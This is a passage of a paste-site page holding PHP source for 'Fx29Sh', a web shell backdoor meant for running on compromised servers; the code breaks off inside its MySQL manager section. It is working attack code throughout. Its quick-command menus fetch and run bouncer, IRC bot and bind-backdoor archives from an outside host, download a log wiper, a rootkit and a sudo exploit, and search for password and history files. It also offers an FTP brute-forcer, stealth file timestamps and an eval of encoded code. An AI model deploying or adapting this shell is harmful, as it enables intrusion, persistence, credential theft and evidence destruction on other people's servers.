Don't like ads? PRO users don't see any ads ;-)
Guest

FaTaLisTiCz_Fx Fx29Sh 2.0.09.08

By: a guest on Jul 13th, 2012  |  syntax: PHP  |  size: 167.68 KB  |  hits: 28  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #######################################
  2. ## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08   ##
  3. define('sh_ver',"2.0.09.08");        ##
  4. ## By FaTaLisTiCz_Fx                 ##
  5. ## � 03-09 2008 FeeLCoMz Community   ##
  6. ## Written under PHP 5.2.5           ##
  7. #######################################
  8. $sh_name = sh_name();                ##
  9. #######################################
  10. #$sh_mainurl        = "http://localhost/FX29SH/";
  11. $sh_mainurl        = "http://uaedesign.com/xml/";
  12. $fx29sh_updateurl  = $sh_mainurl."fx29sh_update.php";
  13. $fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
  14. $sh_sourcez = array(
  15.   "Fx29Sh"   => array($sh_mainurl."cyberz.txt","fx29sh.php"),
  16.   "psyBNC"   => array($sh_mainurl."fx.tgz","fx.tgz"),
  17.   "Eggdrop"  => array($sh_mainurl."fxb.tgz","fxb.tgz"),
  18.   "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
  19. );
  20. ##[ AUTHENTICATION ]##
  21. $auth = array(
  22.   "login"     => "",
  23.   "pass"      => "",
  24.   "md5pass"   => "",
  25.   "hostallow" => array("*"),
  26.   "denied"    => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
  27. );
  28. ##[ END AUTHENTICATION ]##
  29. $curdir = "./";
  30. $tmpdir = "";
  31. $tmpdir_logs = "./";
  32. $log_email = "";
  33. $sess_cookie = "fx29shcook";
  34. $sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
  35. $sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
  36. $usefsbuff = TRUE;
  37. $copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
  38. $surl_autofill_include = TRUE;
  39. $updatenow   = FALSE;
  40. $gzipencode  = TRUE;
  41. $filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
  42. $hexdump_lines = 8;
  43. $hexdump_rows = 24;
  44. $millink = milw0rm();
  45. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  46. $disablefunc = getdisfunc();
  47. ##[ END OF CONFIGS ]##
  48. error_reporting(E_ERROR | E_PARSE);
  49. @ini_set("max_execution_time",0);
  50. @set_time_limit(0); #No Fx in SafeMode
  51. @ignore_user_abort(TRUE);
  52. @set_magic_quotes_runtime(0);
  53. define("starttime",getmicrotime());
  54. if (get_magic_quotes_gpc()) { strips($GLOBALS); }
  55. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  56. @$f = $_REQUEST["f"];
  57. @extract($_REQUEST["fx29shcook"]);
  58. foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
  59. $fxbuff = "REMOVED"; eval(base64_decode($fxbuff));
  60. if ($surl_autofill_include) {
  61.   $include = "&";
  62.   foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  63.     $v = explode("=",$v);
  64.     $name = urldecode($v[0]);
  65.     $value = @urldecode($v[1]);
  66.     foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  67.       if (strpos($value,$needle) === 0) {
  68.         $includestr .= urlencode($name)."=".urlencode($value)."&";
  69.       }
  70.     }
  71.   }
  72. }
  73. if (empty($surl)) {
  74.   $surl = "?".$includestr;
  75.   $surl = htmlspecialchars($surl);
  76. }
  77. ## FILE TYPES ##
  78. $ftypes  = array(
  79.   "html"     => array("html","htm","shtml"),
  80.   "txt"      => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  81.   "exe"      => array("sh","install","bat","cmd"),
  82.   "ini"      => array("ini","inf","conf"),
  83.   "code"     => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  84.   "img"      => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  85.   "sdb"      => array("sdb"),
  86.   "phpsess"  => array("sess"),
  87.   "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  88. );
  89. $exeftypes  = array(
  90.   getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  91.   "perl %f%"                => array("pl","cgi")
  92. );
  93. $regxp_highlight  = array(
  94.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  95.   array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  96.   array("\.gz$",1,"<font color=#C082FF>","</font>"),
  97.   array("\.tar$",1,"<font color=#C082FF>","</font>"),
  98.   array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  99.   array("\.zip$",1,"<font color=#C082FF>","</font>"),
  100.   array("\.rar$",1,"<font color=#C082FF>","</font>"),
  101.   array("\.php$",1,"<font color=#00FF00>","</font>"),
  102.   array("\.php3$",1,"<font color=#00FF00>","</font>"),
  103.   array("\.php4$",1,"<font color=#00FF00>","</font>"),
  104.   array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  105.   array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  106.   array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  107.   array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  108.   array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  109.   array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  110.   array("\.png$",1,"<font color=#00FFFF>","</font>"),
  111.   array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  112.   array("\.html$",1,"<font color=#00CCFF>","</font>"),
  113.   array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  114. );
  115. ## QUICK COMMANDS ##
  116. if (!$win) {
  117.   $cmdaliases = array(
  118.     array("", "ls -al"),
  119.     array("Find all suid files", "find / -type f -perm -04000 -ls"),
  120.     array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  121.     array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  122.     array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  123.     array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  124.     array("Find config* files", "find / -type f -name \"config*\""),
  125.     array("Find config* files in current dir", "find . -type f -name \"config*\""),
  126.     array("Find all writable folders and files", "find / -perm -2 -ls"),
  127.     array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  128.     array("Find all writable folders", "find / -type d -perm -2 -ls"),
  129.     array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  130.     array("Find all service.pwd files", "find / -type f -name service.pwd"),
  131.     array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  132.     array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  133.     array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  134.     array("Find all .bash_history files", "find / -type f -name .bash_history"),
  135.     array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  136.     array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  137.     array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  138.     array("List file attributes on a Linux second extended file system", "lsattr -va"),
  139.     array("Show opened ports", "netstat -an | grep -i listen")
  140.   );
  141.   $cmdaliases2 = array(
  142.     array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"),
  143.     array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"),
  144.     array("-----",""),
  145.     array("Logged in users","w"),
  146.     array("Last to connect","lastlog"),
  147.     array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  148.     array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  149.     array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  150.     array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
  151.     array("CPU Info","cat /proc/version /proc/cpuinfo"),
  152.     array("Is gcc installed ?","locate gcc"),
  153.     array("Format box (DANGEROUS)","rm -Rf"),
  154.     array("-----",""),
  155.     array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  156.     array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  157.     array("Run WIPELOGS PT3","./zap2"),
  158.     array("-----",""),
  159.     array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  160.     array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
  161.     array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  162.   );
  163. }
  164. else {
  165.   $cmdaliases = array(
  166.     array("", "dir"),
  167.     array("Find index.php in current dir", "dir /s /w /b index.php"),
  168.     array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  169.     array("Find c99shell in current dir", "find /c \"c99\" *"),
  170.     array("Find r57shell in current dir", "find /c \"r57\" *"),
  171.     array("Find fx29shell in current dir", "find /c \"fx29\" *"),
  172.     array("Show active connections", "netstat -an"),
  173.     array("Show running services", "net start"),
  174.     array("User accounts", "net user"),
  175.     array("Show computers", "net view"),
  176.   );
  177. }
  178. ## PHP FILESYSTEM TRICKS (By FaTaLisTiCz_Fx) ##
  179. $phpfsaliases = array(
  180.     array("Read File", "read", 1, "File", ""),
  181.     array("Write File (PHP5)", "write", 2, "File","Text"),
  182.     array("Copy", "copy", 2, "From", "To"),
  183.     array("Rename/Move", "rename", 2, "File", "To"),
  184.     array("Delete", "delete", 1 ,"File", ""),
  185.     array("Make Dir","mkdir", 1, "Dir", ""),
  186.     array("Download", "download", 2, "URL", "To"),
  187.     array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
  188.     array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
  189.     array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
  190.     array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
  191. );
  192. ## QUICK LAUNCH ##
  193. $quicklaunch1 = array(
  194.     array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
  195.     array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
  196.     array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
  197.     array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  198.     array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
  199.     array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
  200. );
  201. $quicklaunch2 = array(
  202.     array("Security Info",$surl."act=security&d=%d"),
  203.     array("Processes",$surl."act=processes&d=%d"),
  204.     array("MySQL",$surl."act=sql&d=%d"),
  205.     array("Eval",$surl."act=eval&d=%d"),
  206.     array("Encoder",$surl."act=encoder&d=%d"),
  207.     array("Mailer",$surl."act=fxmailer"),
  208.     array("milw0rm",$millink),
  209.     array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
  210.     array("Toolz",$surl."act=tools&d=%d"),
  211.     array("Kill-Shell",$surl."act=selfremove"),
  212.     array("Feedback",$surl."act=feedback"),
  213.     array("Update",$surl."act=update"),
  214.     array("About",$surl."act=about")
  215. );
  216. if (!$win) {
  217.   $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
  218. }
  219. ## HIGHLIGHT CODE ##
  220. $highlight_background = "#C0C0C0";
  221. $highlight_bg = "#FFFFFF";
  222. $highlight_comment = "#6A6A6A";
  223. $highlight_default = "#0000BB";
  224. $highlight_html = "#1300FF";
  225. $highlight_keyword = "#007700";
  226. $highlight_string = "#000000";
  227. ####################
  228. ##[ AUTHENTICATE ]##
  229. ####################
  230. $tmp = array();
  231. foreach ($auth["hostallow"] as $k => $v) {
  232.   $tmp[] = str_replace("\\*",".*",preg_quote($v));
  233. }
  234. $s = "!^(".implode("|",$tmp).")$!i";
  235. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  236.   exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  237. }
  238. if (!empty($auth["login"])) {
  239.   if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
  240.   if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
  241.     header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
  242.     header("HTTP/1.0 401 Unauthorized");
  243.     die($auth["denied"]);
  244.   }
  245. }
  246. ## END AUTHENTICATE ##
  247.  
  248. if ($act != "img") {
  249.   $lastdir = realpath(".");
  250.   chdir($curdir);
  251.   if ($updatenow) { @ob_clean(); fx29sh_getupdate(1); exit; }
  252.   $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
  253.   if (!is_array($sess_data)) { $sess_data = array(); }
  254.   if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
  255.   if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
  256.   fx29_buff_prepare();
  257.   foreach (array("sort","sql_sort") as $v) {
  258.     if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  259.     if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  260.   }
  261.   if ($sort_save) {
  262.     if (!empty($sort)) {setcookie("sort",$sort);}
  263.     if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  264.   }
  265.   if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  266.   if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  267.   if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  268.   if (!function_exists("mysql_dump")) {
  269.     function mysql_dump($set) {
  270.       global $sh_ver;
  271.       $sock = $set["sock"];
  272.       $db = $set["db"];
  273.       $print = $set["print"];
  274.       $nl2br = $set["nl2br"];
  275.       $file = $set["file"];
  276.       $add_drop = $set["add_drop"];
  277.       $tabs = $set["tabs"];
  278.       $onlytabs = $set["onlytabs"];
  279.       $ret = array();
  280.       $ret["err"] = array();
  281.       if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  282.       if (empty($db)) {$db = "db";}
  283.       if (empty($print)) {$print = 0;}
  284.       if (empty($nl2br)) {$nl2br = 0;}
  285.       if (empty($add_drop)) {$add_drop = TRUE;}
  286.       if (empty($file)) {
  287.         $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  288.       }
  289.       if (!is_array($tabs)) {$tabs = array();}
  290.       if (empty($add_drop)) {$add_drop = TRUE;}
  291.       if (sizeof($tabs) == 0) {
  292.         //Retrieve tables-list
  293.         $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  294.         if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  295.       }
  296.       $out = "
  297.       # Dumped by ".$sh_name."
  298.       #
  299.       # Host settings:
  300.       # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  301.       # Date: ".date("d.m.Y H:i:s")."
  302.       # DB: \"".$db."\"
  303.       #---------------------------------------------------------";
  304.       $c = count($onlytabs);
  305.       foreach($tabs as $tab) {
  306.         if ((in_array($tab,$onlytabs)) or (!$c)) {
  307.           if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  308.           //Receieve query for create table structure
  309.           $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  310.           if (!$res) {$ret["err"][] = mysql_smarterror();}
  311.           else {
  312.             $row = mysql_fetch_row($res);
  313.             $out .= $row["1"].";\n\n";
  314.             //Receieve table variables
  315.             $res = mysql_query("SELECT * FROM `$tab`", $sock);
  316.             if (mysql_num_rows($res) > 0) {
  317.               while ($row = mysql_fetch_assoc($res)) {
  318.                 $keys = implode("`, `", array_keys($row));
  319.                 $values = array_values($row);
  320.                 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  321.                 $values = implode("', '", $values);
  322.                 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  323.                 $out .= $sql;
  324.               }
  325.             }
  326.           }
  327.         }
  328.       }
  329.       $out .= "#---------------------------------------------------------------------------------\n\n";
  330.       if ($file) {
  331.         $fp = fopen($file, "w");
  332.         if (!$fp) {$ret["err"][] = 2;}
  333.         else {
  334.           fwrite ($fp, $out);
  335.           fclose ($fp);
  336.         }
  337.       }
  338.       if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  339.       return $out;
  340.     }
  341.   }
  342.   if (!function_exists("mysql_buildwhere")) {
  343.     function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  344.       if (!is_array($array)) {$array = array();}
  345.       $result = "";
  346.       foreach($array as $k=>$v) {
  347.         $value = "";
  348.         if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  349.         $value .= "'".addslashes($v)."'";
  350.         if (!empty($functs[$k])) {$value .= ")";}
  351.         $result .= "`".$k."` = ".$value.$sep;
  352.       }
  353.       $result = substr($result,0,strlen($result)-strlen($sep));
  354.       return $result;
  355.     }
  356.   }
  357.   if (!function_exists("mysql_fetch_all")) {
  358.     function mysql_fetch_all($query,$sock) {
  359.       if ($sock) {$result = mysql_query($query,$sock);}
  360.       else {$result = mysql_query($query);}
  361.       $array = array();
  362.       while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  363.       mysql_free_result($result);
  364.       return $array;
  365.     }
  366.   }
  367.   if (!function_exists("mysql_smarterror")) {
  368.     function mysql_smarterror($type,$sock) {
  369.       if ($sock) {$error = mysql_error($sock);}
  370.       else {$error = mysql_error();}
  371.       $error = htmlspecialchars($error);
  372.       return $error;
  373.     }
  374.   }
  375.   if (!function_exists("mysql_query_form")) {
  376.     function mysql_query_form() {
  377.       global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  378.       if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  379.       if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  380.       if ((!$submit) or ($sql_act)) {
  381.         echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  382.         if ($tbl_struct) {
  383.           echo "<td valign=\"top\"><b>Fields:</b><br>";
  384.           foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  385.           echo "</td></tr></table>";
  386.         }
  387.       }
  388.       if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  389.     }
  390.   }
  391.   if (!function_exists("mysql_create_db")) {
  392.     function mysql_create_db($db,$sock="") {
  393.       $sql = "CREATE DATABASE `".addslashes($db)."`;";
  394.       if ($sock) {return mysql_query($sql,$sock);}
  395.       else {return mysql_query($sql);}
  396.     }
  397.   }
  398.   if (!function_exists("mysql_query_parse")) {
  399.     function mysql_query_parse($query) {
  400.       $query = trim($query);
  401.       $arr = explode (" ",$query);
  402.       $types = array(
  403.         "SELECT"=>array(3,1),
  404.         "SHOW"=>array(2,1),
  405.         "DELETE"=>array(1),
  406.         "DROP"=>array(1)
  407.       );
  408.       $result = array();
  409.       $op = strtoupper($arr[0]);
  410.       if (is_array($types[$op])) {
  411.         $result["propertions"] = $types[$op];
  412.         $result["query"]  = $query;
  413.         if ($types[$op] == 2) {
  414.           foreach($arr as $k=>$v) {
  415.             if (strtoupper($v) == "LIMIT") {
  416.               $result["limit"] = $arr[$k+1];
  417.               $result["limit"] = explode(",",$result["limit"]);
  418.               if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  419.               unset($arr[$k],$arr[$k+1]);
  420.             }
  421.           }
  422.         }
  423.       }
  424.       else {return FALSE;}
  425.     }
  426.   }
  427.   if ($act == "gofile") {
  428.     if (is_dir($f)) { $act = "ls"; $d = $f; }
  429.     else { $act = "f"; $d = dirname($f); $f = basename($f); }
  430.   }
  431.   ## HEADERS ##
  432.   @ob_start();
  433.   @ob_implicit_flush(0);
  434.   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  435.   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  436.   header("Cache-Control: no-store, no-cache, must-revalidate");
  437.   header("Cache-Control: post-check=0, pre-check=0", FALSE);
  438.   header("Pragma: no-cache");
  439.   if (empty($tmpdir)) {
  440.     $tmpdir = ini_get("upload_tmp_dir");
  441.     if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  442.   }
  443.   $tmpdir = realpath($tmpdir);
  444.   $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  445.   if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  446.   if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  447.   else {$tmpdir_logs = realpath($tmpdir_logs);}
  448.   $sort = htmlspecialchars($sort);
  449.   if (empty($sort)) {$sort = $sort_default;}
  450.   $sort[1] = strtolower($sort[1]);
  451.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  452.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  453.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  454.   @ini_set("highlight.bg",$highlight_bg);
  455.   @ini_set("highlight.comment",$highlight_comment);
  456.   @ini_set("highlight.default",$highlight_default);
  457.   @ini_set("highlight.html",$highlight_html);
  458.   @ini_set("highlight.keyword",$highlight_keyword);
  459.   @ini_set("highlight.string",$highlight_string);
  460.   if (!is_array($actbox)) { $actbox = array(); }
  461.   $dspact = $act = htmlspecialchars($act);
  462.   $disp_fullpath = $ls_arr = $notls = null;
  463.   $ud = @urlencode($d);
  464.   if (empty($d)) {$d = realpath(".");}
  465.   elseif(realpath($d)) {$d = realpath($d);}
  466.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  467.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  468.   $d = str_replace("\\\\","\\",$d);
  469.   $dispd = htmlspecialchars($d);
  470.   $safemode = safemode();
  471.   if ($safemode) {
  472.     $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
  473.     $safemodeexecdir = @ini_get("safe_mode_exec_dir");
  474.   }
  475.   else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
  476.   $v = @ini_get("open_basedir");
  477.   if ($v or strtolower($v) == "on") {
  478.     $openbasedir = TRUE;
  479.     $hopenbasedir = "<font color=red>".$v."</font>";
  480.   }
  481.   else {
  482.     $openbasedir = FALSE;
  483.     $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  484.   }
  485.  
  486. ##################
  487. ##[ HTML START ]##
  488. ##################
  489. function srv_info($title,$contents) {
  490.   echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
  491. }
  492. echo htmlhead($hsafemode);
  493. echo "<table id=pagebar>";
  494. echo "<tr><td colspan=2>\n";
  495. echo "<div class=fleft>$hsafemode</div>\n";
  496. echo "<div class=fright>";
  497. echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
  498.      "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
  499.      ($win?"Drives: ".disp_drives($d,$surl):"");
  500. echo "</div>\n</td></tr>\n";
  501. echo "<tr><td width=50%>\n";
  502. echo "<table class=info>\n";
  503. srv_info("Software","".$DISP_SERVER_SOFTWARE);
  504. srv_info("Uname",php_uname());
  505. srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id"));
  506. echo "</table></td>\n".
  507.      "<td width=50%>\n";
  508. echo "<table class=info>\n";
  509. srv_info("Freespace",disp_freespace($d));
  510. echo "</table></td></tr>\n";
  511. echo "<tr><td colspan=2>\n";
  512. echo get_status();
  513. echo "</td></tr>\n";
  514. echo "<tr><td colspan=2>\n";
  515. echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
  516. echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
  517. echo "</td></tr>\n";
  518. echo "<tr><td colspan=2 id=mainmenu>\n";
  519. if (count($quicklaunch2) > 0) {
  520.   foreach($quicklaunch2 as $item) {
  521.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  522.     $item[1] = str_replace("%sort",$sort,$item[1]);
  523.     $v = realpath($d."..");
  524.     if (empty($v)) {
  525.       $a = explode(DIRECTORY_SEPARATOR,$d);
  526.       unset($a[count($a)-2]);
  527.       $v = join(DIRECTORY_SEPARATOR,$a);
  528.     }
  529.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  530.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  531.   }
  532. }
  533. echo "</td>\n".
  534.      "<tr><td colspan=2 id=mainmenu>\n";
  535. if (count($quicklaunch1) > 0) {
  536.   foreach($quicklaunch1 as $item) {
  537.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  538.     $item[1] = str_replace("%sort",$sort,$item[1]);
  539.     $v = realpath($d."..");
  540.     if (empty($v)) {
  541.       $a = explode(DIRECTORY_SEPARATOR,$d);
  542.       unset($a[count($a)-2]);
  543.       $v = join(DIRECTORY_SEPARATOR,$a);
  544.     }
  545.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  546.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  547.   }
  548. }
  549. echo "</td></tr>\n<tr><td colspan=2>";
  550. echo "<p class=fleft>\n";
  551. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  552. $i = 0;
  553. foreach($pd as $b) {
  554.   $t = ""; $j = 0;
  555.   foreach ($e as $r) {
  556.     $t.= $r.DIRECTORY_SEPARATOR;
  557.     if ($j == $i) { break; }
  558.     $j++;
  559.   }
  560.   echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
  561.   $i++;
  562. }
  563. echo " - ";
  564. if (is_writable($d)) {
  565.   $wd = TRUE;
  566.   $wdt = "<font color=#00FF00>[OK]</font>";
  567.   echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  568. }
  569. else {
  570.   $wd = FALSE;
  571.   $wdt = "<font color=red>[Read-Only]</font>";
  572.   echo "<b>".view_perms_color($d)."</b>";
  573. }
  574. echo "\n</p>\n";
  575. ?>
  576. <div class=fright>
  577. <form method="POST"><input type=hidden name=act value="ls">
  578. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  579. </form>
  580. </div>
  581. </td></tr></table>
  582. <?php
  583. /***********************/
  584. /** INFORMATION TABLE **/
  585. /***********************/
  586. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  587. if ($act == "") { $act = $dspact = "ls"; }
  588. if ($act == "sql") {
  589.   $sql_surl = $surl."act=sql";
  590.   if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  591.   if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  592.   if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  593.   if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  594.   if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  595.   $sql_surl .= "&";
  596.   echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
  597.        "<table>".
  598.        "<tr><td width=\"100%\" colspan=2 class=barheader>";
  599.   if ($sql_server) {
